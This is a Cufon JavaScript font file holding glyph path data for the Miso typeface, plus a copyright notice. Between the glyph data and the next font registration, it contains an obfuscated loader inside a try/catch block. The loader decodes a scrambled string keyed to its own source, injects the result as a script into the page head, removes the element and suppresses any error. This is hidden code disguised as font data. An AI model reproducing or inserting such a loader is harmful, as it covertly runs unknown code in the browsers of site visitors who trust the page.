8,-47,116xm47,-142r0,120v26,2,51,-2,50,-26v-2,-46,17,-107,-50,-94","w":139,"k":{"y":4,"v":4}},{"d":"13,-151v-3,-14,17,-19,21,-6r33,109r32,-109v4,-13,26,-8,21,6r-43,144v-2,10,-19,10,-21,0","w":133,"k":{",":25,"\u00e4":4,"\u00f6":4,"\u00e5":4,".":25,"a":4,"e":4,"o":4}},{"d":"127,-176v-17,28,-62,54,-80,72r75,63v6,5,7,11,2,17v-4,5,-11,5,-16,1r-87,-72v-6,-4,-5,-13,0,-18r87,-72v7,-7,19,1,19,9"},{"d":"125,-15v3,5,0,11,-5,14v-5,3,-12,1,-15,-4r-41,-76r-17,19v-3,21,10,59,-11,63v-6,0,-11,-5,-11,-11r0,-216v0,-6,5,-11,11,-11v6,0,11,5,11,11r0,132r60,-67v4,-4,10,-5,15,-1v4,4,5,11,1,15r-44,49","w":136,"k":{"\u00f6":4,"e":4,"o":4}},{"d":"37,-38v14,28,63,17,63,-15v0,-10,-3,-18,-10,-25r-57,-60v-38,-37,2,-103,50,-91v16,4,51,23,32,42v-16,5,-21,-21,-37,-20v-28,-7,-50,31,-29,53v33,34,112,93,51,144v-27,23,-69,10,-83,-17v-3,-6,0,-12,5,-15v5,-3,12,-2,15,4","w":137},{"d":"129,0v3,6,-1,12,-7,15v-6,3,-12,-1,-15,-7r-86,-237v-5,-14,16,-22,21,-8"},{"d":"41,-136v-7,6,-19,2,-18,-8v18,-39,81,-17,81,25r0,107v-1,18,-29,11,-46,11v-26,0,-47,-21,-47,-47v1,-35,31,-51,72,-46v8,-34,-16,-63,-42,-42xm32,-48v0,24,24,29,51,26r0,-51v-26,-2,-51,1,-51,25xm79,-208v0,-8,7,-14,15,-14v8,0,14,6,14,14v0,8,-6,14,-14,14v-8,0,-15,-6,-15,-14xm36,-194v-8,0,-14,-6,-14,-14v0,-8,6,-14,14,-14v8,0,14,6,14,14v0,8,-6,14,-14,14","w":126,"k":{"v":4}},{"d":"68,-206v-14,6,-23,30,-41,19v-5,-23,24,-27,34,-40v21,-5,30,18,45,25v5,3,6,10,2,15v-15,12,-29,-13,-40,-19xm21,-46v-1,-55,-8,-119,47,-119v54,0,47,65,46,119v0,26,-20,47,-46,47v-26,0,-47,-21,-47,-47xm68,-143v-39,1,-26,60,-26,97v0,14,12,25,26,25v39,-1,25,-60,25,-97v0,-14,-11,-25,-25,-25","w":135},{"d":"34,-5v-6,12,-26,2,-19,-10r38,-69r-36,-65v-3,-5,-1,-11,4,-14v5,-3,12,-1,15,4r29,53r29,-53v6,-12,26,-2,19,10r-36,65r38,69v3,5,1,11,-4,14v-5,3,-12,1,-15,-4r-31,-56","w":129},{"d":"105,-1v-45,4,-82,-7,-83,-47r0,-106v0,-6,5,-11,11,-11v6,0,11,5,11,11r0,106v0,24,23,29,50,26r0,-132v0,-6,5,-11,11,-11v6,0,11,5,11,11r0,142v0,6,-5,11,-11,11","w":141},{"d":"20,-53v0,-69,-21,-160,41,-176v24,-6,48,5,61,26v3,5,2,13,-4,16v-5,3,-13,0,-16,-5v-14,-28,-59,-13,-59,16r0,123v0,18,15,31,32,31v36,1,33,-40,32,-77v-15,-1,-37,5,-36,-12v1,-19,30,-8,47,-11v24,3,7,47,12,69v0,30,-25,54,-55,54v-30,0,-55,-24,-55,-54","w":148},{"d":"24,-217v2,-21,36,-10,55,-12v53,-5,75,80,34,111v40,28,24,123,-34,118v-20,-2,-55,9,-55,-12r0,-205xm79,-23v45,-1,42,-86,0,-84r-31,0r0,84r31,0xm111,-161v3,-39,-23,-49,-63,-45r0,76v32,2,61,-1,63,-31","w":154,"k":{"A":4}},{"d":"36,1v-6,0,-11,-5,-11,-11r0,-143v2,-17,30,-10,47,-10v66,0,44,91,47,153v0,6,-5,11,-11,11v-6,0,-11,-5,-11,-11r0,-107v0,-24,-24,-27,-50,-25r0,132v0,6,-5,11,-11,11","w":141},{"d":"92,-230v20,0,10,30,12,47v0,7,-5,12,-12,12v-18,-1,-9,-31,-11,-48v0,-7,4,-11,11,-11xm23,-183v2,-17,-8,-47,12,-47v19,0,11,30,11,47v0,7,-4,12,-11,12v-7,0,-12,-5,-12,-12","w":126},{"d":"109,-105v-4,-12,-33,-39,-15,-52v23,-3,26,33,38,46v2,24,-17,37,-24,56v-4,11,-24,7,-22,-5v2,-16,18,-34,23,-45xm44,-105v-5,-12,-31,-38,-15,-52v23,-3,26,33,38,46v2,24,-17,37,-24,56v-4,11,-23,7,-22,-5v5,-14,18,-34,23,-45","w":150},{"d":"115,-229v7,0,12,5,12,12v-1,18,-30,9,-47,11r0,196v0,7,-5,11,-12,11v-6,0,-11,-4,-11,-11r0,-196v-18,-2,-45,7,-47,-11v0,-7,6,-12,12,-12r93,0","w":136,"k":{",":29,":":22,";":22,"-":29,"\u00e4":11,"\u00f6":11,"\u00e5":18,".":29,"a":29,"e":25,"i":7,"o":25,"r":25,"y":25,"w":25,"u":25,"A":18,"O":4}},{"d":"36,73v-6,0,-11,-5,-11,-11r0,-215v2,-17,30,-10,47,-10v26,0,47,20,47,46v0,65,4,128,-72,116v-4,24,11,67,-11,74xm97,-48v-2,-46,17,-107,-50,-94r0,120v26,2,51,-2,50,-26","w":139,"k":{"y":4}},{"d":"35,59v-7,-7,-2,-18,7,-18v16,13,50,13,51,-15r0,-27v-41,5,-71,-11,-72,-47v-1,-54,-7,-118,47,-115v16,1,46,-7,46,10r0,179v3,39,-50,62,-79,33xm93,-142v-26,-2,-51,1,-51,25v0,47,-16,108,51,95r0,-120","w":138},{"d":"93,-1v-41,5,-71,-11,-72,-47v-1,-54,-7,-118,47,-115v16,1,46,-7,46,10r0,215v0,6,-4,11,-10,11v-22,-6,-7,-50,-11,-74xm93,-142v-26,-2,-51,1,-51,25v0,47,-16,108,51,95r0,-120","w":139},{"d":"59,-5v-16,16,-35,-14,-35,-30r0,-191v0,-6,5,-11,11,-11v6,0,11,5,11,11r0,191v-2,14,20,17,13,30","w":72},{"d":"87,-49v-24,-5,-71,13,-72,-15r51,-158v4,-13,23,-10,23,3r-47,147r45,0v2,-18,-8,-50,12,-50v19,0,8,33,11,50v14,0,29,-2,29,12v0,13,-16,11,-29,11v-3,18,8,50,-11,50v-20,0,-9,-32,-12,-50"},{"d":"180,29v6,0,12,4,12,11v0,7,-6,12,-12,12r-180,0v-7,0,-12,-5,-12,-12v0,-7,5,-11,12,-11r180,0","w":180},{"d":"36,0v-7,0,-12,-5,-12,-12r0,-207v0,-7,5,-11,12,-11v6,0,12,4,12,11r0,196v24,4,66,-11,72,11v0,7,-6,12,-12,12r-72,0","w":125,"k":{"\u2019":32,"\u201d":29,"y":14,"Y":22,"W":22,"V":22,"T":22}},{"d":"126,-36v-12,29,-51,50,-85,28v-24,-16,-33,-53,-12,-79r29,-37v-14,-19,-46,-46,-27,-82v18,-33,69,-30,84,3v16,34,-14,60,-28,79r36,47v6,-8,11,-29,27,-22v14,13,-7,30,-12,42v8,17,39,30,27,52v-23,10,-27,-22,-39,-31xm72,-143v16,-14,41,-58,1,-64v-17,-2,-35,21,-22,37xm111,-55r-39,-50v-16,18,-49,56,-18,78v26,18,48,-9,57,-28","w":177},{"d":"50,-14v0,8,-6,15,-15,15v-8,0,-16,-7,-16,-15v0,-8,8,-15,16,-15v9,0,15,7,15,15xm35,-166v20,0,19,31,0,31v-8,0,-16,-7,-16,-15v0,-8,8,-16,16,-16","w":69},{"d":"48,-206r0,76v22,4,60,-10,64,12v-4,22,-43,7,-64,11r0,84v24,4,66,-11,72,11v0,7,-6,12,-12,12r-72,0v-7,0,-12,-5,-12,-12r0,-205v0,-7,5,-12,12,-12r72,0v6,0,12,5,12,12v-6,22,-49,6,-72,11xm82,-307v5,-4,12,-4,16,1v4,5,5,14,0,17v-16,10,-28,41,-53,31v-4,-5,-4,-12,1,-16","w":132},{"d":"36,-229v53,-5,97,8,98,55r0,119v-1,47,-44,61,-98,55v-7,0,-12,-5,-12,-12r0,-205v0,-7,5,-12,12,-12xm111,-55v-6,-64,34,-167,-63,-151r0,183v33,2,66,-2,63,-32","w":154,"k":{"A":4,"Y":7,"W":4,"V":4}},{"d":"39,-194v-8,0,-15,-6,-15,-14v0,-8,7,-14,15,-14v8,0,14,6,14,14v0,8,-6,14,-14,14xm3,73v-6,0,-11,-5,-11,-11v5,-18,36,-10,36,-36r0,-180v0,-6,5,-11,11,-11v6,0,11,5,11,11r0,180v0,26,-21,47,-47,47","w":74},{"d":"75,1v-30,0,-55,-24,-55,-54r0,-123v0,-30,25,-54,55,-54v30,0,55,24,55,54r0,123v0,30,-25,54,-55,54xm75,-207v-18,0,-32,14,-32,31r0,123v0,18,14,31,32,31v17,0,32,-13,32,-31r0,-123v0,-17,-15,-31,-32,-31","k":{"A":4,"Y":7,"W":7,"V":4,"T":7}},{"d":"19,-14v0,-21,31,-18,31,0v0,8,-7,15,-15,15v-8,0,-16,-7,-16,-15","w":69},{"d":"58,-23v18,10,39,-23,46,2v-17,41,-87,17,-83,-25v4,-48,-11,-101,29,-115v19,-7,48,-3,54,18v-7,25,-29,-10,-46,2v-28,11,-16,60,-16,95v0,10,7,18,16,23","k":{"y":4}},{"d":"24,-217v0,-7,5,-12,12,-12r72,0v7,0,12,5,12,12v-5,22,-49,6,-72,11r0,76v22,4,61,-10,64,12v-3,22,-43,7,-64,11r0,84v24,4,66,-11,72,11v0,7,-5,12,-12,12r-72,0v-7,0,-12,-5,-12,-12r0,-205","w":132},{"w":69},{"d":"130,-53v0,30,-25,54,-55,54v-30,0,-55,-24,-55,-54r0,-123v0,-30,25,-54,55,-54v30,0,55,24,55,54r0,123xm75,-22v17,0,32,-13,32,-31r0,-123v0,-17,-15,-31,-32,-31v-18,0,-32,14,-32,31r0,123v0,18,14,31,32,31xm119,-280v0,8,-7,15,-15,15v-9,0,-15,-7,-15,-15v0,-8,6,-15,15,-15v8,0,15,7,15,15xm61,-280v0,8,-7,15,-15,15v-9,0,-15,-7,-15,-15v0,-8,6,-15,15,-15v8,0,15,7,15,15"},{"d":"36,1v-6,0,-12,-4,-12,-11r0,-209v0,-7,6,-11,12,-11v7,0,12,4,12,11r0,209v0,7,-5,11,-12,11","w":72},{"d":"78,1v-30,0,-55,-24,-55,-54v0,-69,-21,-160,41,-176v24,-6,50,5,62,26v8,14,-14,24,-21,11v-14,-28,-59,-13,-59,16r0,42v35,-26,87,3,87,45v0,51,-11,89,-55,90xm78,-121v-31,0,-32,33,-32,68v0,18,15,31,32,31v32,1,32,-33,32,-67v0,-17,-14,-32,-32,-32"},{"d":"14,-152v-1,-6,2,-12,8,-13v20,-1,15,30,22,44r16,66r26,-102v3,-11,19,-10,21,0r25,102r26,-102v1,-6,7,-9,13,-8v6,1,9,7,8,13r-36,144v-2,11,-19,12,-21,0r-26,-101r-25,101v-2,11,-19,12,-21,0","w":193,"k":{",":22,".":22,"a":4,"e":4,"o":4,"s":4}},{"d":"18,-179v-7,-13,14,-11,11,-27v-6,0,-11,-5,-11,-11v0,-10,11,-13,22,-11v21,5,12,51,-7,55v-5,3,-12,-1,-15,-6","w":69,"k":{"d":29,"s":22}},{"d":"31,-177v-16,0,-11,-24,-12,-40v0,-7,6,-12,12,-12v31,2,71,-6,95,4v3,3,3,7,2,10r-50,208v-4,13,-26,9,-23,-6r48,-193r-61,0v0,13,2,29,-11,29"},{"d":"38,-142v-13,0,-29,2,-29,-11v0,-13,16,-10,29,-10v-5,-42,11,-73,47,-74v6,0,11,5,11,11v-5,18,-36,10,-36,36r0,27v14,1,35,-5,36,10v0,15,-21,10,-36,11r0,132v0,6,-5,11,-11,11v-6,0,-11,-5,-11,-11r0,-132","w":106,"k":{"\u2019":-7,"\u201d":-7}},{"d":"27,-187v-15,-29,35,-55,70,-37v23,12,37,44,22,74r-67,127r62,0v6,0,11,4,11,11v0,7,-5,12,-11,12r-81,0v-9,1,-15,-9,-10,-17r76,-144v13,-26,-9,-50,-37,-45v-15,3,-19,24,-35,19"},{"d":"53,-208v0,8,-6,14,-14,14v-8,0,-15,-6,-15,-14v0,-8,7,-14,15,-14v8,0,14,6,14,14xm111,-208v0,8,-7,14,-15,14v-8,0,-14,-6,-14,-14v0,-8,6,-14,14,-14v8,0,15,6,15,14xm114,-118v1,54,8,119,-46,119v-26,0,-47,-21,-47,-47v-1,-55,-8,-119,47,-119v26,0,46,21,46,47xm68,-21v39,-1,25,-60,25,-97v0,-14,-11,-25,-25,-25v-39,1,-26,60,-26,97v0,14,12,25,26,25","w":135,"k":{"v":4}},{"d":"47,-109v-5,10,-22,7,-21,-5r0,-103v0,-7,4,-12,11,-12r75,0v7,0,11,5,11,12v0,7,-4,11,-11,11r-63,0r0,65v38,-21,80,11,80,48v0,47,-2,83,-40,93v-24,6,-50,-4,-62,-26v-8,-15,13,-23,20,-11v14,28,60,14,59,-16v-1,-32,5,-64,-23,-70v-14,-4,-29,1,-36,14"},{"d":"115,-223v7,12,-17,14,-10,28v6,0,11,5,11,11v0,11,-11,13,-23,11v-21,-4,-13,-52,7,-56v6,-3,12,1,15,6xm50,-223v6,12,-14,12,-10,28v6,0,11,5,11,11v0,11,-11,12,-23,11v-20,-6,-12,-52,8,-56v6,-3,11,1,14,6","w":133,"k":{"A":25}},{"d":"36,1v-6,0,-11,-5,-11,-11r0,-143v6,-19,50,-12,70,-4v5,2,8,9,4,14v-10,13,-30,-4,-52,1r0,132v0,6,-5,11,-11,11","w":107,"k":{",":29,"-":11,"\u00e4":4,"\u00f6":4,"\u00e5":4,".":29,"a":4,"c":4,"o":4,"t":-7,"y":-7,"v":-7}},{"d":"47,-142r0,132v0,6,-5,11,-11,11v-6,0,-11,-5,-11,-11r0,-143v0,-6,5,-10,11,-10v63,4,155,-19,155,46r0,107v0,6,-5,11,-11,11v-6,0,-11,-5,-11,-11r0,-107v0,-24,-24,-27,-50,-25r0,132v0,6,-5,11,-11,11v-6,0,-11,-5,-11,-11r0,-132r-50,0","w":213},{"d":"45,-53v0,18,13,31,31,31v17,0,32,-13,32,-31r0,-166v0,-7,5,-11,12,-11v6,0,11,4,11,11r0,166v0,30,-25,54,-55,54v-30,0,-54,-24,-54,-54r0,-166v0,-7,4,-11,11,-11v6,0,12,4,12,11r0,166","w":152,"k":{"A":4}},{"d":"19,-179v-8,-13,17,-13,10,-27v-6,0,-11,-5,-11,-11v0,-10,11,-13,22,-11v21,5,12,51,-7,55v-6,3,-11,-1,-14,-6xm83,-217v0,-10,11,-13,22,-11v21,5,12,51,-7,55v-6,3,-11,-1,-14,-6v-7,-13,13,-11,10,-27v-6,0,-11,-5,-11,-11","w":133},{"d":"37,-32v11,20,47,10,43,-13v-7,-34,-59,-34,-62,-74v-3,-43,62,-64,81,-24v3,5,1,11,-4,14v-15,8,-17,-14,-30,-14v-21,-5,-34,26,-16,39v21,14,50,26,53,57v4,45,-64,65,-84,25v-3,-5,-1,-11,4,-14v5,-3,12,-1,15,4","w":118,"k":{"w":4}},{"d":"104,-1v-45,4,-82,-7,-83,-47v-2,-65,-4,-128,72,-115v4,-24,-11,-67,11,-74v6,0,10,5,10,11r0,214v0,6,-4,11,-10,11xm93,-142v-26,-2,-51,1,-51,25v0,47,-16,108,51,95r0,-120","w":139},{"d":"109,-284v0,17,-14,31,-31,31v-17,0,-31,-14,-31,-31v0,-17,14,-30,31,-30v17,0,31,13,31,30xm66,-284v0,7,5,13,12,13v7,0,12,-6,12,-13v0,-7,-5,-12,-12,-12v-7,0,-12,5,-12,12xm43,-49v-9,22,-4,49,-26,50v-6,-2,-10,-8,-8,-14r58,-209v2,-10,20,-11,22,0r58,209v2,6,-2,12,-9,14v-21,0,-17,-29,-25,-50r-70,0xm106,-72r-28,-104v-8,26,-19,68,-29,104r57,0","w":155},{"d":"68,1v-26,0,-47,-21,-47,-47v-1,-55,-8,-119,47,-119v54,0,47,65,46,119v0,26,-20,47,-46,47xm68,-143v-39,1,-26,60,-26,97v0,14,12,25,26,25v39,-1,25,-60,25,-97v0,-14,-11,-25,-25,-25","w":135,"k":{"y":4,"w":4,"v":4}},{"d":"26,-208v0,-8,6,-14,14,-14v8,0,15,6,15,14v0,8,-7,14,-15,14v-8,0,-14,-6,-14,-14xm84,-208v0,-8,6,-14,14,-14v8,0,14,6,14,14v0,8,-6,14,-14,14v-8,0,-14,-6,-14,-14xm105,-1v-45,4,-82,-7,-83,-47r0,-106v0,-6,5,-11,11,-11v6,0,11,5,11,11r0,106v0,24,23,29,50,26r0,-132v0,-6,5,-11,11,-11v6,0,11,5,11,11r0,142v0,6,-5,11,-11,11","w":141},{"d":"14,-216v-1,-7,2,-13,8,-14v6,-1,13,2,14,9r39,162r39,-162v3,-11,21,-13,23,0r39,162r39,-162v4,-16,26,-10,23,5r-51,209v-2,10,-20,11,-22,0r-39,-163r-40,163v-2,10,-20,11,-22,0","w":251,"k":{",":32,":":14,";":14,"-":14,".":32,"a":14,"e":14,"o":14,"y":11,"u":14,"A":14,"O":7}},{"d":"50,-223v7,12,-14,12,-10,28v6,0,11,5,11,11v0,10,-11,13,-22,11v-21,-4,-13,-52,7,-56v5,-3,11,1,14,6","w":69,"k":{"A":25}},{"d":"46,-219v-2,17,7,48,-11,48v-19,0,-10,-30,-12,-48v0,-7,5,-11,12,-11v6,0,11,4,11,11","w":69}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+245-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("(9LU78moy{l#(+0v>8ZXp9plMFmUL8l#MF)Xy{%4L^Yq[:o.&UNU5sBX50)!>~B*La%nM?SX5apFy}}x{UoqM?S*59},S+u!>~pN5s)!>~B*L~Z!>~B*L~^!>~B*L~Aez4*AM?S*595NVUNU5absL}U!>~B*LsZ0M?S*59&IM?S*59%.pM&NM?S*59&NM?SX5a}o[~b!>~B*L9m!>~B*[~b9)-5l^80!>~B*L{%!>~B*[:%v{0*1MseO-.UwS~AvM?SX5a}:~.G!>~B*L8)${Sb[z~ml-9)FV9G~MZN!>~B*L~%!>~B*Ls%e>S>+70*.M?S*59).^?b4!{*oMo*8P0NU5absPS%O~X,s%-b!>~B*LaL)m4>!>~p*5~AILs)!>~B*Ls[UM?SX5aZs!8U^M?SX5aZA!F%!>~B*[:^1M?S*59Ls^UNU5sBNP+!.w4m*790o(+p.(-NxV~Bq!aU.w4BqBb+a}Z9?p)(w5mPV&%-~S^{M[Ly7!>zrnu.sA0842xOkqG#1*NX:oUFIe,]vYl$H7aU*w8N078>oy+N4V{p#L.,47?0*y?5lzIovy{[2[.,1y:o1M.nHP4>I>U*#(~Y2V:xq7Fmu79u1!I%Y!I%1[FG27FNGwM>0[8)ALMmxLF,!w4m0r?mu>9^q790oM+,:L-AAwFA#>9^:>+uq7Fmu>9017.,27Imo78ZGL-AxL8lX(aGxV9*v(XGx({>7[UGxM^ol!ZGxMMox(+An")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":149,"face":{"font-family":"miso","font-weight":400,"font-style":"italic","font-stretch":"normal","units-per-em":"360","panose-1":"0 0 0 0 0 0 0 0 0 0","ascent":"288","descent":"-72","cap-height":"1","bbox":"-12 -314 372 73","underline-thickness":"34.56","underline-position":"34.56","slope":"10","stemh":"23","stemv":"23","unicode-range":"U+0020-U+2122"}}));
/*!
 * The following copyright notice may not be removed under any circumstances.
 * 
 * Copyright:
 * Copyright (c) Mårten Nettelbladt, 2006. All rights reserved.
 * 
 * Trademark:
 * Miso Bold is a trademark of Mårten Nettelbladt.
 * 
 * Full name:
 * Miso-Bold
 * 
 * Manufacturer:
 * Mårten Nettelbladt
 * 
 * Designer:
 * Mårten Nettelbladt
 */
Cufon.registerFont((function(f){var b=_cufon_bridge_={p:[{"d":"140,-146v-6,-11,-24,-6,-23,6v1,24,-8,80,23,57v5,-8,14,-11,22,-6v23,24,-18,50,-44,43v-37,-10,-34,-50,-34,-94v0,-44,65,-61,84,-22v5,8,2,18,-6,22v-8,5,-17,2,-22,-6xm129,-235v66,0,121,55,121,121v0,65,-56,120,-121,120v-64,0,-120,-55,-120,-120v0,-65,56,-121,120,-121xm41,-114v0,46,42,88,88,88v47,0,88,-41,88,-88v0,-47,-40,-88,-88,-88v-47,0,-88,42,-88,88","w":258},{"d":"42,-35v8,15,35,7,33,-10v-12,-31,-59,-33,-62,-73v-3,-50,68,-72,91,-28v4,8,2,18,-6,22v-20,12,-27,-27,-47,-10v-21,42,60,39,56,87v7,50,-70,73,-93,28v-4,-8,-3,-18,5,-22v8,-4,19,-2,23,6","w":118,"k":{"w":4}},{"d":"192,-168v-6,18,-34,21,-40,0v-3,27,11,74,-16,74v-9,0,-16,-8,-16,-17r0,-108v-1,-14,20,-21,29,-9r23,31v13,-12,18,-41,41,-37v7,3,11,8,11,15r0,108v0,9,-7,17,-16,17v-27,-3,-13,-48,-16,-74xm57,-94v-9,0,-17,-8,-17,-17r0,-90v-18,1,-36,0,-36,-16v0,-31,58,-17,89,-17v9,0,16,8,16,17v0,17,-18,17,-36,16r0,90v0,9,-7,17,-16,17","w":241},{"d":"36,-188v-11,0,-20,-9,-20,-20v0,-11,9,-20,20,-20v11,0,20,9,20,20v0,11,-9,20,-20,20xm52,-10v0,9,-7,16,-16,16v-9,0,-16,-7,-16,-16r0,-144v0,-9,7,-16,16,-16v9,0,16,7,16,16r0,144","w":72},{"d":"14,-14v0,-12,9,-21,21,-21v12,0,20,9,20,21v0,12,-8,21,-20,21v-12,0,-21,-9,-21,-21","w":69},{"d":"68,-201v-12,7,-28,33,-44,16v-11,-26,25,-31,35,-45v24,-9,34,18,50,25v6,5,9,14,3,20v-16,18,-32,-9,-44,-16xm15,-118v0,-29,24,-52,53,-52v29,0,52,23,52,52r0,72v0,29,-23,52,-52,52v-29,0,-53,-23,-53,-52r0,-72xm68,-138v-34,3,-20,59,-20,92v0,11,9,20,20,20v33,0,19,-60,19,-92v0,-11,-8,-20,-19,-20","w":135},{"d":"99,-234v24,-6,28,24,11,32v18,10,11,39,-17,34v-28,-6,-18,-60,6,-66xm57,-184v0,21,-46,23,-45,0v-8,-33,23,-69,43,-41v7,10,-6,16,-10,25v7,2,12,9,12,16","w":133,"k":{"A":25}},{"d":"85,-177v2,-24,-37,-33,-48,-12v-4,8,-17,13,-24,7v-24,-21,13,-50,34,-53v58,-12,99,62,55,102v-16,15,-26,30,-26,65v0,10,-7,18,-17,18v-21,0,-17,-25,-17,-46v0,-38,40,-48,43,-81xm80,-14v0,12,-9,21,-21,21v-12,0,-21,-9,-21,-21v0,-12,9,-21,21,-21v12,0,21,9,21,21","w":128},{"d":"32,-86v-10,0,-18,-8,-18,-18v0,-10,8,-17,18,-17r86,0v10,0,17,7,17,17v0,10,-7,18,-17,18r-86,0"},{"d":"45,-200v18,4,14,32,-5,32v-24,0,-31,-10,-28,-34v-2,-21,30,-48,43,-23v5,11,-6,16,-10,25","w":69,"k":{"A":25}},{"d":"52,-106v-7,15,-33,9,-32,-8r0,-103v4,-33,60,-18,92,-18v10,0,17,8,17,18v-2,29,-48,13,-75,17r0,50v61,-13,81,30,81,97v0,59,-86,83,-113,30v-5,-8,-2,-19,6,-24v22,-11,29,27,53,19v24,-7,19,-37,19,-65v1,-26,-37,-36,-48,-13"},{"d":"36,6v-9,0,-16,-7,-16,-16r0,-143v3,-26,57,-19,78,-9v8,4,10,14,6,22v-11,18,-29,-1,-52,4r0,126v0,9,-7,16,-16,16","w":107,"k":{",":29,"-":11,"\u00e4":4,"\u00f6":4,"\u00e5":4,".":29,"a":4,"c":4,"o":4,"t":-7,"y":-7,"v":-7}},{"d":"135,-53v0,33,-27,60,-60,60v-33,0,-61,-27,-61,-60r0,-123v0,-33,28,-60,61,-60v33,0,60,27,60,60r0,123xm49,-53v0,14,12,26,26,26v14,0,26,-12,26,-26r0,-123v0,-14,-12,-26,-26,-26v-14,0,-26,12,-26,26r0,123xm75,-271v-13,6,-27,32,-45,15v-11,-26,25,-33,36,-47v24,-10,36,17,51,25v8,4,9,16,3,22v-16,18,-32,-9,-45,-15"},{"d":"45,-132v-10,9,-29,2,-28,-12v16,-47,93,-23,93,25r0,107v0,23,-30,16,-52,17v-29,0,-53,-24,-53,-53v0,-36,30,-57,72,-52v6,-26,-12,-50,-32,-32xm77,-67v-20,-1,-39,0,-39,19v0,18,18,22,39,20r0,-39xm36,-205v18,-10,31,-47,58,-32v13,29,-26,38,-37,55v-6,6,-16,5,-22,-1v-6,-7,-5,-16,1,-22","w":126},{"d":"52,-219v-1,22,7,53,-17,53v-24,1,-17,-30,-18,-53v0,-10,8,-17,18,-17v10,0,17,7,17,17","w":69},{"d":"32,-35v12,0,21,9,21,21v0,12,-9,21,-21,21v-12,0,-21,-9,-21,-21v0,-12,9,-21,21,-21xm83,-14v0,-12,9,-21,21,-21v12,0,21,9,21,21v0,12,-9,21,-21,21v-12,0,-21,-9,-21,-21xm155,-14v0,-12,9,-21,21,-21v12,0,21,9,21,21v0,12,-9,21,-21,21v-12,0,-21,-9,-21,-21","w":207},{"d":"22,-141v-7,-6,-8,-18,-2,-25r57,-64v6,-8,20,-8,26,0r57,64v14,16,-11,41,-26,23r-44,-50r-44,50v-7,7,-17,9,-24,2","w":180},{"d":"145,-18v4,9,1,19,-8,23v-9,4,-19,1,-23,-8r-47,-98r-14,19v-5,31,14,89,-17,89v-10,0,-17,-7,-17,-17r0,-209v0,-10,7,-17,17,-17v33,0,11,63,17,95r63,-88v6,-8,16,-9,24,-4v8,5,10,16,4,24r-54,76","w":151,"k":{"\u00f6":7,"e":7,"o":7,"y":7,"u":4,"O":4}},{"d":"82,-32v9,-11,27,-2,27,11v-15,49,-98,24,-94,-25v4,-52,-9,-105,33,-120v23,-8,56,-2,61,23v0,13,-17,21,-27,11v-12,-13,-36,-2,-34,14v3,35,-15,109,34,86","w":118,"k":{"y":4}},{"d":"57,-168v-7,15,-36,12,-34,-8v9,-25,33,-36,48,-55v10,-12,30,-2,30,12r0,209v0,10,-7,17,-17,17v-10,0,-18,-7,-18,-17r0,-167"},{"d":"69,-201v-13,7,-26,33,-44,16v-11,-25,25,-31,35,-45v24,-9,35,18,51,25v7,5,8,14,2,20v-16,18,-31,-10,-44,-16xm17,-154v0,-9,7,-16,16,-16v9,0,16,7,16,16r0,106v0,19,19,22,40,20r0,-126v0,-9,7,-16,16,-16v9,0,16,7,16,16r0,142v0,23,-30,16,-52,17v-29,0,-52,-24,-52,-53r0,-106","w":141},{"d":"36,6v-9,0,-16,-7,-16,-16r0,-144v0,-9,7,-16,16,-16v9,0,16,7,16,16r0,144v0,9,-7,16,-16,16xm15,-205v17,-9,31,-46,57,-32v6,7,6,16,-1,22r-36,33v-6,6,-15,5,-21,-1v-6,-7,-6,-16,1,-22","w":72},{"d":"76,7v-33,0,-60,-27,-60,-60r0,-166v0,-10,7,-17,17,-17v10,0,17,7,17,17r0,166v0,14,12,26,26,26v14,0,26,-12,26,-26r0,-166v0,-10,8,-17,18,-17v10,0,17,7,17,17r0,166v0,33,-28,60,-61,60xm84,-280v0,-12,9,-21,21,-21v12,0,21,9,21,21v0,12,-9,21,-21,21v-12,0,-21,-9,-21,-21xm48,-259v-12,0,-21,-9,-21,-21v0,-12,9,-21,21,-21v12,0,20,9,20,21v0,12,-8,21,-20,21","w":152},{"d":"91,-237v-54,57,-54,189,0,245v7,7,5,18,-3,24v-8,6,-18,6,-24,-2v-41,-50,-66,-141,-37,-220v9,-25,21,-47,37,-68v6,-7,16,-9,24,-3v8,6,10,17,3,24","w":96},{"d":"98,-85v-55,22,-87,-22,-87,-91v0,-33,28,-60,61,-60v33,0,60,27,60,60v0,73,20,167,-45,181v-30,13,-90,-21,-61,-52v21,-11,29,29,52,19v22,-5,21,-30,20,-57xm72,-202v-28,0,-28,32,-26,62v0,14,12,26,26,26v28,0,28,-32,26,-62v0,-14,-12,-26,-26,-26"},{"d":"113,-284v0,19,-15,36,-35,36v-19,0,-36,-17,-36,-36v0,-20,16,-35,36,-35v20,0,35,15,35,35xm70,-284v0,10,16,10,16,0v0,-9,-16,-9,-16,0xm47,-43v-8,23,-5,55,-32,49v-9,-2,-14,-11,-11,-21r57,-209v3,-16,29,-16,33,0r58,209v3,10,-3,19,-12,21v-26,6,-23,-27,-32,-49r-61,0xm99,-78v-7,-25,-14,-53,-21,-76v-7,23,-14,51,-21,76r42,0","w":155},{"d":"63,-2v-18,23,-44,-12,-44,-33r0,-191v0,-9,7,-16,16,-16v9,0,16,7,16,16r0,191v1,12,23,18,12,33","w":72},{"d":"33,-136v-29,9,-40,-30,-13,-33r13,0v-5,-43,15,-72,52,-73v9,0,16,7,16,16v0,23,-38,11,-36,36r0,21v18,-1,36,-1,36,16v0,17,-18,18,-36,17r0,126v0,9,-7,16,-16,16v-9,0,-16,-7,-16,-16r0,-126","w":106,"k":{"\u2019":-7,"\u201d":-7}},{"d":"180,23v10,0,17,7,17,17v0,10,-7,18,-17,18r-180,0v-10,0,-17,-8,-17,-18v0,-10,7,-17,17,-17r180,0","w":180},{"d":"39,-315v10,0,18,7,18,17r0,360v0,10,-8,17,-18,17v-10,0,-17,-7,-17,-17r0,-360v0,-10,7,-17,17,-17","w":74},{"d":"49,68v-15,11,-46,17,-47,-6v-1,-22,30,-11,35,-30r12,-42r-41,-139v-3,-9,2,-18,11,-21v8,